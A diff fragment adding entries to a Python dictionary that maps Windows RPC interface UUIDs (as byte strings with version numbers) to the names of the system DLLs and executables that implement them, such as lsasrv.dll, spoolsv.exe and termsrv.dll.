+b"\xb4\x33\x6f\x26\xc1\xc7\xd1\x4b\x8f\x52\xdd\xb8\xf2\x21\x4e\xa9\x01\x00": "wlansvc.dll", +b"\x68\x9d\xcb\x2a\x34\xb4\x3e\x4b\xb9\x66\xe0\x6b\x4b\x3a\x84\xcb\x01\x00": "bthserv.dll", +b"\xd0\x4c\x67\x57\x00\x52\xce\x11\xa8\x97\x08\x00\x2b\x2e\x9c\x6d\x01\x00": "llssrv.exe", +b"\x52\x44\x7d\x64\x33\x9f\x18\x4a\xb2\xbe\xc5\xc0\xe9\x20\xe9\x4e\x01\x00": "pla.dll", +b"\xc8\x9b\x3b\xde\xf7\xbe\x78\x45\xa0\xde\xf0\x89\x04\x84\x42\xdb\x01\x00": "audiodg.exe", +b"\xd1\x51\xa9\xbf\x0e\x2f\xd3\x11\xbf\xd1\x00\xc0\x4f\xa3\x49\x0a\x01\x00": "aqueue.dll", +b"\x84\x55\x66\x1e\xfe\x40\x50\x44\x8f\x6e\x80\x23\x62\x39\x96\x94\x01\x00": "lsm.exe", +b"\x41\x76\x17\xaa\x9b\xfc\xbd\x41\x80\xff\xf9\x64\xa7\x01\x59\x6f\x01\x00": "tssdis.exe", +b"\xe0\x0c\x6b\x90\x0b\xc7\x67\x10\xb3\x17\x00\xdd\x01\x06\x62\xda\x01\x00": "msdtcprx.dll", +b"\x51\xb9\x6b\xfd\x30\xc8\x34\x47\xbf\x2c\x18\xba\x6e\xc7\xab\x49\x01\x00": "iscsiexe.dll", +b"\x68\xff\x1d\x62\x39\x3c\x6c\x4c\xaa\xe3\xe6\x8e\x2c\x65\x03\xad\x01\x00": "wzcsvc.dll", +b"\x56\xcc\x35\x94\x9c\x1d\x24\x49\xac\x7d\xb6\x0a\x2c\x35\x20\xe1\x01\x00": "sppsvc.exe", +b"\xf0\xe4\x9c\x36\xdc\x0f\xd3\x11\xbd\xe8\x00\xc0\x4f\x8e\xee\x78\x01\x00": "profmap.dll", +b"\x6a\x28\x19\x39\x0c\xb1\xd0\x11\x9b\xa8\x00\xc0\x4f\xd9\x2e\xf5\x00\x00": "lsasrv.dll", +b"\x80\x2b\xd1\x76\x67\x34\xd3\x11\x91\xff\x00\x90\x27\x2f\x9e\xa3\x01\x00": "mqqm.dll", +b"\x72\xfe\x0f\x8d\x52\xd2\xd0\x11\xbf\x8f\x00\xc0\x4f\xd9\x12\x6b\x01\x00": "cryptsvc.dll", +b"\x86\xd4\xdc\x68\x9e\x66\xd1\x11\xab\x0c\x00\xc0\x4f\xc2\xdc\xd2\x01\x00": "ismserv.exe", +b"\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa\x03\x00\x00": "rpcss.dll", +b"\x06\x91\x01\x24\x03\xa2\x42\x46\xb8\x8d\x82\xda\xe9\x15\x89\x29\x01\x00": "authui.dll", +b"\x60\xa7\xa4\x5c\xb1\xeb\xcf\x11\x86\x11\x00\xa0\x24\x54\x20\xed\x01\x00": "termsrv.dll", +b"\x4d\xdd\x73\x34\x88\x2e\x06\x40\x9c\xba\x22\x57\x09\x09\xdd\x10\x05\x01": "winhttp.dll", +b"\xb2\xb8\x7d\xb9\x63\x4c\xcf\x11\xbf\xf6\x08\x00\x2b\xe2\x3f\x2f\x02\x00": "clussvc.exe", +b"\x95\x1f\x51\x33\x84\x5b\xcc\x4d\xb6\xcc\x3f\x4b\x21\xda\x53\xe1\x01\x00": "ubpm.dll", +b"\x78\xb2\xeb\x05\x14\xe1\xc1\x4e\xa5\xa3\x09\x61\x53\xf3\x00\xe4\x01\x01": "tsgqec.dll", +b"\x24\xe4\xfb\x63\x29\x20\xd1\x11\x8d\xb8\x00\xaa\x00\x4a\xbd\x5e\x01\x00": "Sens.dll", +b"\x36\xa0\x67\x07\x22\x0d\xaa\x48\xba\x69\xb6\x19\x48\x0f\x38\xcb\x01\x00": "pcasvc.dll", +b"\x20\x32\x5f\x2f\x26\xc1\x76\x10\xb5\x49\x07\x4d\x07\x86\x19\xda\x01\x00": "netdde.exe", +b"\x30\xa0\xb3\xfd\x5f\x06\xd1\x11\xbb\x9b\x00\xa0\x24\xea\x55\x25\x01\x00": "mqqm.dll", +b"\x80\x7a\xdf\x77\x98\xf2\xd0\x11\x83\x58\x00\xa0\x24\xc4\x80\xa8\x01\x00": "mqdssrv.dll", +b"\x03\x6d\x71\x98\xac\x89\xc7\x44\xbb\x8c\x28\x58\x24\xe5\x1c\x4a\x01\x00": "srvsvc.dll", +b"\xc8\xad\x32\x4f\x52\x60\x04\x4a\x87\x01\x29\x3c\xcf\x20\x96\xf0\x01\x00": "sspisrv.dll", +b"\x90\x38\xa9\x65\xb9\xfa\xa3\x43\xb2\xa5\x1e\x33\x0a\xc2\x8f\x11\x02\x00": "dnsrslvr.dll", +b"\x32\xf5\x03\xc5\x3a\x44\x69\x4c\x83\x00\xcc\xd1\xfb\xdb\x38\x39\x01\x00": "MpSvc.dll", +b"\x46\x9f\x3b\xc3\x88\x20\xbc\x4d\x97\xe3\x61\x25\xf1\x27\x66\x1c\x01\x00": "nlasvc.dll", +b"\xa0\xb3\x02\xa0\xb7\xc9\xd1\x11\xae\x88\x00\x80\xc7\x5e\x4e\xc1\x01\x00": "wlnotify.dll", +b"\xd0\xd1\x33\x88\x5f\x96\x16\x42\xb3\xe9\xfb\xe5\x8c\xad\x31\x00\x01\x00": "SCardSvr.dll", +b"\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x46\xc3\xf8\x7e\x34\x5a\x01\x00": "wkssvc.dll", +b"\x38\x8d\x04\x7e\x08\xac\xf1\x4f\x8e\x6b\xf3\x5d\xba\xb8\x8d\x4a\x01\x00": "mqqm.dll", +b"\x35\x42\x51\xe3\x06\x4b\xd1\x11\xab\x04\x00\xc0\x4f\xc2\xdc\xd2\x04\x00": "ntdsai.dll", +b"\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88\x00\x00": "sfmsvc.exe", +b"\xc5\x28\x47\x3c\xab\xf0\x8b\x44\xbd\xa1\x6c\xe0\x1e\xb0\xa6\xd6\x01\x00": "dhcpcsvc6.dll", +b"\x36\x01\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46\x00\x00": "rpcss.dll", +b"\x54\x79\x26\x3d\xb7\xee\xd1\x11\xb9\x4e\x00\xc0\x4f\xa3\x08\x0d\x01\x00": "lserver.dll", +b"\xbf\x09\x11\x81\xe1\xa4\xd1\x11\xab\x54\x00\xa0\xc9\x1e\x9b\x45\x01\x00": "WINS.EXE", +b"\xd0\xbb\xf5\x7a\x63\x60\xd1\x11\xae\x2a\x00\x80\xc7\x5e\x4e\xc1\x00\x00": "irmon.dll", +b"\x99\x1e\xb8\x12\x07\xf2\x4c\x4a\x85\xd3\x77\xb4\x2f\x76\xfd\x14\x01\x00": "seclogon.dll", +b"\x6c\x5e\x64\x00\x9f\xfc\x0c\x4a\x98\x96\xf0\x0b\x66\x29\x77\x98\x01\x00": "icardagt.exe", +b"\x9f\x2f\x5b\xb1\x3c\x90\x71\x46\x8d\xc0\x77\x2c\x54\x21\x40\x68\x01\x00": "pwmig.dll", +b"\xa6\x95\x7d\x49\x27\x2d\xf5\x4b\x9b\xbd\xa6\x04\x69\x57\x13\x3c\x01\x00": "termsrv.dll", +b"\xcb\x92\xbe\x5c\xbe\xf4\xc9\x45\x9f\xc9\x33\xe7\x3e\x55\x7b\x20\x01\x00": "lsasrv.dll", +b"\xa1\x0f\x51\x69\x99\x2f\xeb\x4e\xa4\xff\xaf\x25\x9f\x0f\x97\x49\x01\x00": "wecsvc.dll", +b"\x70\x5d\xfb\x8c\xa4\x31\xcf\x11\xa7\xd8\x00\x80\x5f\x48\xa1\x35\x03\x00": "smtpsvc.dll", +b"\x46\x0d\x85\x77\x1d\x85\xb6\x43\x93\x98\x29\x01\x61\xf0\xca\xe6\x01\x00": "SeVA.dll", +b"\xc3\x26\xf2\x76\x14\xec\x25\x43\x8a\x99\x6a\x46\x34\x84\x18\xaf\x01\x00": "winlogon.exe", +b"\x84\x65\x0a\x0b\x0f\x9e\xcf\x11\xa3\xcf\x00\x80\x5f\x68\xcb\x1b\x01\x00": "rpcss.dll", +b"\x15\x55\xf2\x11\x79\xc8\x0a\x40\x98\x9e\xb0\x74\xd5\xf0\x92\xfe\x01\x00": "lsm.exe", +b"\xc0\xe0\x4d\x89\x55\x0d\xd3\x11\xa3\x22\x00\xc0\x4f\xa3\x21\xa1\x01\x00": "wininit.exe", +b"\x00\xac\x0a\xf5\xf3\xc7\x8e\x42\xa0\x22\xa6\xb7\x1b\xfb\x9d\x43\x01\x00": "cryptsvc.dll", +b"\xa5\x44\xb0\x30\x25\xa2\xf0\x43\xb3\xa4\xe0\x60\xdf\x91\xf9\xc1\x01\x00": "certprop.dll", +b"\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab\x00\x00": "lsasrv.dll", +b"\x49\x69\xe9\x98\x59\xbc\xf1\x47\x92\xd1\x8c\x25\xb4\x6f\x85\xc7\x01\x00": "wlanext.exe", +b"\xb8\x61\xe5\xff\x15\xbf\xcf\x11\x8c\x5e\x08\x00\x2b\xb4\x96\x49\x02\x00": "clussvc.exe", +b"\xb4\x59\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x01\x00": "ntfrs.exe", +b"\xb4\x59\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x01\x01": "ntfrs.exe", +b"\xa4\xc2\xab\x50\x4d\x57\xb3\x40\x9d\x66\xee\x4f\xd5\xfb\xa0\x76\x05\x00": "dns.exe", +b"\xb9\x99\x3f\x87\x4d\x1b\x10\x99\xb7\xaa\x00\x04\x00\x7f\x07\x01\x00\x00": "ssmsrp70.dll", +b"\x01\xc3\x53\xb2\xa2\x78\x70\x42\xa9\x1f\x66\x0d\xee\x06\x9f\x4c\x01\x00": "rdpcore.dll", +b"\x94\x68\x71\x22\x8e\xfd\x62\x44\x97\x83\x09\xe6\xd9\x53\x1f\x16\x01\x00": "ubpm.dll", +b"\xf6\xb8\x35\xd3\x31\xcb\xd0\x11\xb0\xf9\x00\x60\x97\xba\x4e\x54\x01\x00": "polagent.dll", +b"\x64\x1d\x82\x0c\xfc\xa3\xd1\x11\xbb\x7a\x00\x80\xc7\x5e\x4e\xc1\x01\x00": "irftp.exe", +b"\xb8\x4a\x9f\x4d\x1c\x7d\xcf\x11\x86\x1e\x00\x20\xaf\x6e\x7c\x57\x00\x00": "rpcss.dll", +b"\xa8\x95\xee\x81\x2e\x88\x15\x46\x88\x8a\x53\x34\x4c\xa1\x49\xe4\x01\x00": "vpnikeapi.dll", +b"\xfb\xee\x0c\x13\x66\xe4\xd1\x11\xb7\x8b\x00\xc0\x4f\xa3\x28\x83\x02\x00": "ismip.dll", +b"\x72\xee\xf3\xc6\x7e\xce\xd1\x11\xb7\x1e\x00\xc0\x4f\xc3\x11\x1a\x01\x00": "rpcss.dll", +b"\x9a\xf9\x1e\x20\xa0\x7f\x4c\x44\x93\x99\x19\xba\x84\xf1\x2a\x1a\x01\x00": "appinfo.dll", +b"\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88\x03\x00": "srvsvc.dll", +b"\x72\xe4\x9f\x6d\xf1\x30\x08\x47\x8f\xa8\x67\x83\x62\xb9\x61\x55\x01\x00": "wimserv.exe", +b"\xd4\xd7\x44\x7c\xd5\x31\x4c\x42\xbd\x5e\x2b\x3e\x1f\x32\x3d\x22\x01\x00": "ntdsai.dll", +b"\x55\x1a\x20\x6f\x4d\xa2\x5f\x49\xaa\xc9\x2f\x4f\xce\x34\xdf\x99\x01\x00": "IPHLPAPI.DLL", +b"\x32\x35\x0f\x30\xcc\x38\xd0\x11\xa3\xf0\x00\x20\xaf\x6b\x0a\xdd\x01\x02": "trkwks.dll", +b"\x32\x35\x0f\x30\xcc\x38\xd0\x11\xa3\xf0\x00\x20\xaf\x6b\x0a\xdd\x01\x00": "trkwks.dll", +b"\x60\xf4\x82\x4f\x21\x0e\xcf\x11\x90\x9e\x00\x80\x5f\x48\xa1\x35\x04\x00": "nntpsvc.dll", +b"\x7d\xce\x54\x5f\x79\x5b\x75\x41\x85\x84\xcb\x65\x31\x3a\x0e\x98\x01\x00": "appinfo.dll", +b"\xdc\x3f\x27\x82\x2a\xe3\xc3\x18\x3f\x78\x82\x79\x29\xdc\x23\xea\x00\x00": "wevtsvc.dll", +b"\x3a\xcf\xe0\x16\x04\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x01\x00": "ntdsbsrv.dll", +b"\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x01\x28\x92\x02\x01\x62\x00\x00": "browser.dll", +b"\xd6\x09\x48\x48\x39\x42\x1b\x47\xb5\xbc\x61\xdf\x8c\x23\xac\x48\x01\x00": "lsm.exe", +b"\xe8\x04\xe6\x58\xdb\x9a\x2e\x4d\xa4\x64\x3b\x06\x83\xfb\x14\x80\x01\x00": "appinfo.dll", +b"\x57\x72\xd4\xa2\xf7\x12\xeb\x4b\x89\x81\x0e\xbf\xa9\x35\xc4\x07\x01\x00": "p2psvc.dll", +b"\x1e\xdd\x5b\x6b\x8c\x52\x2c\x42\xaf\x8c\xa4\x07\x9b\xe4\xfe\x48\x01\x00": "FwRemoteSvr.dll", +b"\x75\x21\xc8\x51\x4e\x84\x50\x47\xb0\xd8\xec\x25\x55\x55\xbc\x06\x01\x00": "SLsvc.exe", +b"\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xac\x01\x00": "samsrv.dll", +b"\xc0\x47\xdf\xb3\x5a\xa9\xcf\x11\xaa\x26\x00\xaa\x00\xc1\x48\xb9\x09\x00": "mspadmin.exe - Microsoft ISA Server", +b"\x00\xac\x0a\xf5\xf3\xc7\x8e\x42\xa0\x22\xa6\xb7\x1b\xfb\x9d\x43\x01\x01": "cryptsvc.dll", +b"\x65\x31\x0a\xea\x34\x48\xd2\x11\xa6\xf8\x00\xc0\x4f\xa3\x46\xcc\x04\x00": "FXSSVC.exe", +b"\x33\xa2\x74\xd6\x29\x58\xdd\x49\x90\xf0\x60\xcf\x9c\xeb\x71\x29\x01\x00": "ipnathlp.dll", +b"\xf7\xaf\xbe\xf6\x19\x1e\xbb\x4f\x9f\x8f\xb8\x9e\x20\x18\x33\x7c\x01\x00": "wevtsvc.dll", +b"\x70\x0d\xec\xec\x03\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x02\x00": "ntdsbsrv.dll", +b"\x7c\xda\x83\x4f\xe8\xd2\x11\x98\x07\x00\xc0\x4f\x8e\xc8\x50\x02\x00\x00": "sfc.dll", +b"\x80\x92\xea\x46\xbf\x5b\x5e\x44\x83\x1d\x41\xd0\xf6\x0f\x50\x3a\x01\x00": "ifssvc.exe", +b"\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03\x02\x00": "services.exe", +b"\x66\x9f\x9b\x62\x6c\x55\xd1\x11\x8d\xd2\x00\xaa\x00\x4a\xbd\x5e\x03\x00": "sens.dll", +b"\x1c\x02\x0c\xa0\xe2\x2b\xd2\x11\xb6\x78\x00\x00\xf8\x7a\x8f\x8e\x01\x00": "ntfrs.exe", +b"\x3e\xca\x86\xc3\x61\x90\x72\x4a\x82\x1e\x49\x8d\x83\xbe\x18\x8f\x01\x01": "audiosrv.dll", +b"\x6d\xa5\x6e\xe7\x3f\x45\xcf\x11\xbf\xec\x08\x00\x2b\xe2\x3f\x2f\x02\x01": "resrcmon.exe", +b"\xe1\xbf\x72\x4a\x94\x92\xda\x11\xa7\x2b\x08\x00\x20\x0c\x9a\x66\x01\x00": "rdpinit.exe", +b"\x7c\x5f\xc4\xa2\x32\x7d\xad\x46\x96\xf5\xad\xaf\xb4\x86\xbe\x74\x01\x00": "services.exe", +b"\x01\x6b\x77\x45\x56\x59\x85\x44\x9f\x80\xf4\x28\xf7\xd6\x01\x29\x02\x00": "dnsrslvr.dll", +b"\x96\x7b\x9b\x6c\xa8\x45\xca\x4c\x9e\xb3\xe2\x1c\xcf\x8b\x5a\x89\x01\x00": "umpo.dll", +b"\x15\x04\x42\x9d\xfb\xb8\x4a\x4f\x8c\x53\x45\x02\xea\xd3\x0c\xa9\x01\x00": "PlaySndSrv.dll", +b"\x50\x38\xcd\x15\xca\x28\xce\x11\xa4\xe8\x00\xaa\x00\x61\x16\xcb\x01\x00": "PeerDistSvc.dll", +b"\x20\xe5\x98\xa3\x9a\xd5\xdd\x4b\xaa\x7a\x3c\x1e\x03\x03\xa5\x11\x01\x00": "IKEEXT.DLL", +b"\x08\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa\x03\x00": "rpcss.dll", +b"\x00\x7c\xda\x83\x4f\xe8\xd2\x11\x98\x07\x00\xc0\x4f\x8e\xc8\x50\x02\x00": "sfc_os.dll", +b"\xf2\xdc\x51\x4a\x3a\x5c\xd2\x4d\x84\xdb\xc3\x80\x2e\xe7\xf9\xb7\x01\x00": "ntdsai.dll", +b"\x82\x06\xf7\x1f\x51\x0a\xe8\x30\x07\x6d\x74\x0b\xe8\xce\xe9\x8b\x01\x00": "taskcomp.dll", +b"\x00\xb9\x99\x3f\x87\x4d\x1b\x10\x99\xb7\xaa\x00\x04\x00\x7f\x07\x01\x00": "ssmsrpc.dll - Microsoft SQL Server", +b"\x20\x17\x82\x5b\x3b\xf6\xd0\x11\xaa\xd2\x00\xc0\x4f\xc3\x24\xdb\x01\x00": "dhcpssvc.dll", +b"\x22\xc4\xa1\x4d\x3d\x94\xd1\x11\xac\xae\x00\xc0\x4f\xc2\xaa\x3f\x01\x00": "trksvr.dll", +b"\x74\xe9\xa5\x1a\x82\x62\x8d\x4e\x9c\x96\x40\x18\x6e\x89\xd2\x80\x01\x00": "scss.exe", +b"\x94\x73\x92\x1a\x2e\x35\x53\x45\xae\x3f\x7c\xf4\xaa\xfc\xa6\x20\x01\x00": "wdssrv.dll", +b"\x66\xf6\x8c\x04\x42\xab\xb4\x42\x89\x75\x13\x57\x01\x8d\xec\xb3\x01\x00": "ws2_32.dll", +b"\x3a\xcf\xe0\x16\x04\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x02\x00": "ntdsbsrv.dll", +b"\x02\x00\x00\x00\x01\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x69\x01\x00": "kdcsvc.dll", +b"\xb0\x52\x8e\x37\xa9\xc0\xcf\x11\x82\x2d\x00\xaa\x00\x51\xe4\x0f\x01\x00": "taskcomp.dll", +b"\xe0\x6d\x7a\x8c\x8d\x78\xd0\x11\x9e\xdf\x44\x45\x53\x54\x00\x00\x02\x00": "wiaservc.dll", +b"\x05\x81\xa7\x3c\xa3\xa3\x68\x4a\xb4\x58\x1a\x60\x6b\xab\x8f\xd6\x01\x00": "mpnotify.exe", +b"\x2e\xa0\x8a\xb5\x84\x28\x97\x4e\x81\x76\x4e\xe0\x6d\x79\x41\x84\x01\x00": "sysmain.dll", +b"\x95\x4f\x25\xd4\xc3\x08\xcc\x4f\xb2\xa6\x0b\x65\x13\x77\xa2\x9c\x01\x00": "wwansvc.dll", +b"\x6e\x2c\xf4\xc3\xcc\xd4\x5a\x4e\x93\x8b\x9c\x5e\x8a\x5d\x8c\x2e\x01\x00": "wlanmsm.dll", +b"\x53\x0c\x19\xf3\x0c\x4e\x1a\x49\xaa\xd3\x2a\x7c\xeb\x7e\x25\xd4\x01\x00": "vpnikeapi.dll", +b"\x26\xc0\xe1\xac\x3f\x8b\x11\x47\x89\x18\xf3\x45\xd1\x7f\x5b\xff\x01\x00": "lsasrv.dll", +b"\xc0\xc4\x55\xae\xce\x64\xdd\x11\xad\x8b\x08\x00\x20\x0c\x9a\x66\x01\x00": "bdesvc.dll", +b"\xc4\x0c\x3c\xe3\x82\x04\x1a\x10\xbc\x0c\x02\x60\x8c\x6b\xa2\x18\x01\x00": "locator.exe", +b"\x0e\x3b\x6c\x50\xd1\x4b\x56\x4c\x88\xc0\x49\xa2\x0e\xd4\xb5\x39\x01\x00": "milcore.dll", +b"\x3e\x8e\xb0\x2e\x9f\x63\xba\x4f\x97\xb1\x14\xf8\x78\x96\x10\x76\x01\x00": "gpsvc.dll", +b"\x66\x9f\x9b\x62\x6c\x55\xd1\x11\x8d\xd2\x00\xaa\x00\x4a\xbd\x5e\x02\x00": "sens.dll", +b"\xb5\x6d\xac\xc9\xb7\x82\x55\x4e\xae\x8a\xe4\x64\xed\x7b\x42\x77\x01\x00": "sysntfy.dll", +b"\x98\x46\xbc\xa0\xd7\xb8\x30\x43\xa2\x8f\x77\x09\xe1\x8b\x61\x08\x04\x00": "Sens.dll", +b"\x1e\xc9\x31\x3f\x45\x25\x7b\x4b\x93\x11\x95\x29\xe8\xbf\xfe\xf6\x01\x00": "p2psvc.dll", +b"\x3e\xca\x86\xc3\x61\x90\x72\x4a\x82\x1e\x49\x8d\x83\xbe\x18\x8f\x02\x00": "audiosrv.dll", +b"\x3e\xca\x86\xc3\x61\x90\x72\x4a\x82\x1e\x49\x8d\x83\xbe\x18\x8f\x02\x02": "audiosrv.dll", +b"\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0\x4f\xb6\xe6\xfc\x01\x00": "msgsvc.dll", +b"\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x46\xc3\xf8\x74\x53\x2d\x01\x00": "dhcpssvc.dll", +b"\xb8\xd0\x48\xe2\x15\xbf\xcf\x11\x8c\x5e\x08\x00\x2b\xb4\x96\x49\x02\x00": "clussvc.exe", +b"\x78\xad\xbc\x1c\x0b\xdf\x34\x49\xb5\x58\x87\x83\x9e\xa5\x01\xc9\x00\x00": "lsasrv.dll", +b"\x87\x76\xcb\xc8\xd3\xe6\xd2\x11\xa9\x58\x00\xc0\x4f\x68\x2e\x16\x01\x00": "WebClnt.dll", +b"\x88\xd4\x81\xc6\x50\xd8\xd0\x11\x8c\x52\x00\xc0\x4f\xd9\x0f\x7e\x01\x00": "lsasrv.dll", +b"\x80\x35\x5b\x5b\xe0\xb0\xd1\x11\xb9\x2d\x00\x60\x08\x1e\x87\xf0\x01\x00": "mqqm.dll", +b"\xf0\x09\x8f\xed\xb7\xce\x11\xbb\xd2\x00\x00\x1a\x18\x1c\xad\x00\x00\x00": "mprdim.dll", +b"\xd8\x5d\xe6\x12\x7f\x88\xef\x41\x91\xbf\x8d\x81\x6c\x42\xc2\xe7\x01\x00": "winlogon.exe", +b"\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0\x4f\xb6\x36\xfc\x01\x00": "msgsvc.dll", +b"\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03\x01\x00": "regsvc.dll", +b"\x03\xd7\xfd\x17\x27\x18\x34\x4e\x79\xd4\x24\xa5\x5c\x53\xbb\x37\x01\x00": "msgsvc.dll", +b"\x1c\x95\x57\x33\xd1\xa1\xdb\x47\xa2\x78\xab\x94\x5d\x06\x3d\x03\x01\x00": "LBService.dll", +b"\xab\xbe\x00\xc1\x3a\xd3\x4b\x4a\xbf\x23\xbb\xef\x46\x63\xd0\x17\x01\x00": "wcncsvc.dll", +b"\xc4\xfc\x7b\x82\xb4\x38\xcd\x4a\x92\xe4\x21\xe1\x50\x6b\x85\xfb\x01\x00": "SLsvc.exe", +b"\x00\xf0\x09\x8f\xed\xb7\xce\x11\xbb\xd2\x00\x00\x1a\x18\x1c\xad\x00\x00": "mprdim.dll", +b"\x4b\xa0\x12\x72\x63\xb4\x2e\x40\x96\x49\x2b\xa4\x77\x39\x46\x76\x01\x00": "umrdp.dll", +b"\x20\x65\x5f\x2f\x46\xca\x67\x10\xb3\x19\x00\xdd\x01\x06\x62\xda\x01\x00": "tapisrv.dll", +b"\xa0\x9e\xc0\x69\x09\x4a\x1b\x10\xae\x4b\x08\x00\x2b\x34\x9a\x02\x00\x00": "ole32.dll", +b"\xd0\x3f\x14\x88\x8d\xc2\x2b\x4b\x8f\xef\x8d\x88\x2f\x6a\x93\x90\x01\x00": "lsm.exe", +b"\xe6\x73\x0c\xe6\xf9\x88\xcf\x11\x9a\xf1\x00\x20\xaf\x6e\x72\xf4\x02\x00": "rpcss.dll", +b"\x6c\xfc\x79\xde\x6f\xdc\xc7\x43\xa4\x8e\x63\xbb\xc8\xd4\x00\x9d\x01\x00": "rdpclip.exe", +b"\x41\x82\xb5\x68\x59\xc2\x03\x4f\xa2\xe5\xa2\x65\x1d\xcb\xc9\x30\x01\x00": "cryptsvc.dll", +b"\x80\xa9\x88\x10\xe5\xea\xd0\x11\x8d\x9b\x00\xa0\x24\x53\xc3\x37\x01\x00": "mqqm.dll", +b"\xcf\x0b\xa7\x7e\xaf\x48\x6a\x4f\x89\x68\x6a\x44\x07\x54\xd5\xfa\x01\x00": "nsisvc.dll", +b"\xe0\xca\x02\xec\xe0\xb9\xd2\x11\xbe\x62\x00\x20\xaf\xed\xdf\x63\x01\x00": "mq1repl.dll", +b"\xb3\x8b\x0b\x59\xf6\x4e\xa4\x4c\x83\xcf\xbe\x06\xc4\x07\x86\x74\x01\x00": "PSIService.exe", +b"\xce\x9f\x75\x89\x25\x5a\x86\x40\x89\x67\xde\x12\xf3\x9a\x60\xb5\x01\x00": "tssdjet.dll", +b"\x5d\x2c\x95\x25\x76\x79\xa1\x4a\xa3\xcb\xc3\x5f\x7a\xe7\x9d\x1b\x01\x00": "wlansvc.dll", +b"\xc5\x41\x19\xdf\x89\xfe\x79\x4e\xbf\x10\x46\x36\x57\xac\xf4\x4d\x01\x00": "efssvc.dll", +b"\xc1\xcd\x1a\x8f\x4d\x75\xeb\x43\x96\x29\xaa\x16\x20\x92\x8e\x65\x00\x00": "IMEPADSM.DLL", +b"\xdf\x76\x49\x65\x98\x14\x56\x40\xa1\x5e\xcb\x4e\x87\x58\x4b\xd8\x01\x00": "emdmgmt.dll", +b"\xe0\x42\xc7\x4f\x10\x4a\xcf\x11\x82\x73\x00\xaa\x00\x4a\xe6\x73\x03\x00": "dfssvc.exe", +b"\xfa\xdb\x6e\x0b\x24\x4a\xc6\x4f\x8a\x23\x94\x2b\x1e\xca\x65\xd1\x01\x00": "spoolsv.exe", +b"\xc8\xb7\xd4\x12\xd5\x77\xd1\x11\x8c\x24\x00\xc0\x4f\xa3\x08\x0d\x01\x00": "lserver.dll", +b"\x44\xaf\x7d\x8c\xdc\xb6\xd1\x11\x9a\x4c\x00\x20\xaf\x6e\x7c\x57\x01\x00": "appmgmts.dll", +b"\xae\x99\x86\x9b\x44\x0e\xb1\x47\x8e\x7f\x86\xa4\x61\xd7\xec\xdc\x00\x00": "rpcss.dll", +b"\x84\x65\x0a\x0b\x0f\x9e\xcf\x11\xa3\xcf\x00\x80\x5f\x68\xcb\x1b\x01\x01": "rpcss.dll", +b"\xa2\x9c\x14\x93\x3b\x97\xd1\x11\x8c\x39\x00\xc0\x4f\xb9\x84\xf9\x00\x00": "scecli.dll", +b"\x7d\x25\x13\xfc\x67\x55\xea\x4d\x89\x8d\xc6\xf9\xc4\x84\x15\xa0\x01\x00": "mqqm.dll", +b"\x82\x26\xb9\x2f\x99\x65\xdc\x42\xae\x13\xbd\x2c\xa8\x9b\xd1\x1c\x01\x00": "MPSSVC.dll", +b"\x76\x22\x3a\x33\x00\x00\x00\x00\x0d\x00\x00\x80\x9c\x00\x00\x00\x03\x00": "rpcrt4.dll", +b"\xf0\x0e\xd7\xd6\x3b\x0e\xcb\x11\xac\xc3\x08\x00\x2b\x1d\x29\xc4\x01\x00": "locator.exe", +b"\xdd\x34\x91\x1a\x39\x7b\xba\x45\xad\x88\x44\xd0\x1c\xa4\x7f\x28\x01\x00": "mqqm.dll", +b"\xfe\x95\x31\x9b\x03\xd6\xd1\x43\xa0\xd5\x90\x72\xd7\xcd\xe1\x22\x01\x00": "tssdjet.dll", +b"\x55\x1a\x20\x6f\x4d\xa2\x5f\x49\xaa\xc9\x2f\x4f\xce\x34\xdf\x98\x01\x00": "iphlpsvc.dll", +b"\x5f\x2e\x7e\x89\xf3\x93\x76\x43\x9c\x9c\xfd\x22\x77\x49\x5c\x27\x01\x00": "dfsrmig.exe", +b"\x90\x2c\xfe\x98\x42\xa5\xd0\x11\xa4\xef\x00\xa0\xc9\x06\x29\x10\x01\x00": "advapi32.dll", +b"\x0c\xc5\xad\x30\xbc\x5c\xce\x46\x9a\x0e\x91\x91\x47\x89\xe2\x3c\x01\x00": "nrpsrv.dll", +b"\x1e\x24\x2f\x41\x2a\xc1\xce\x11\xab\xff\x00\x20\xaf\x6e\x7a\x17\x00\x02": "rpcss.dll", +b"\xe6\x53\x3a\x9f\xb1\xcb\x54\x4e\x87\x8e\xaf\x9f\x82\x3a\xa3\xf1\x01\x00": "MpRtMon.dll", +b"\xa8\xe5\xfc\x1d\x8a\xdd\x33\x4e\xaa\xce\xf6\x03\x92\x2f\xd9\xe7\x00\x01": "wpcsvc.dll", +b"\xf0\x0e\xd7\xd6\x3b\x0e\xcb\x11\xac\xc3\x08\x00\x2b\x1d\x29\xc3\x01\x00": "locator.exe", +b"\x46\xd7\xd0\xe3\xaf\xd2\xfd\x40\x8a\x7a\x0d\x70\x78\xbb\x70\x92\x01\x00": "qmgr.dll", 